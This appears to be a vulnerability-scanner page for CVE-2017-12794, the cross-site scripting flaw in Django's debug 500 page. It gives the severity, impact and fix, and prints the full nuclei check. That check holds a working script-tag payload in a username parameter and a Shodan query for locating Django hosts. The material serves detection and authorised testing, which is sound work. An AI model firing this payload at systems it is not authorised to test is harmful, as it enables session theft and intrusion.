Django Debug Page - Cross-Site Scripting

mediumseverity

6.1CVSS score

23.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.

How to confirm it

Send: GET {{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12794 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-12794

info:
  name: Django Debug Page - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
  reference:
    - https://twitter.com/sec715/status/1406779605055270914
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12794
    - https://www.djangoproject.com/weblog/2017/sep/05/security-releases/
    - http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264
    - http://www.securitytracker.com/id/1039264
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-12794
    cwe-id: CWE-79
    epss-score: 0.23566
    epss-percentile: 0.9782
    cpe: cpe:2.3:a:djangoproject:django:1.10.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve2017,cve,xss,django,djangoproject,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from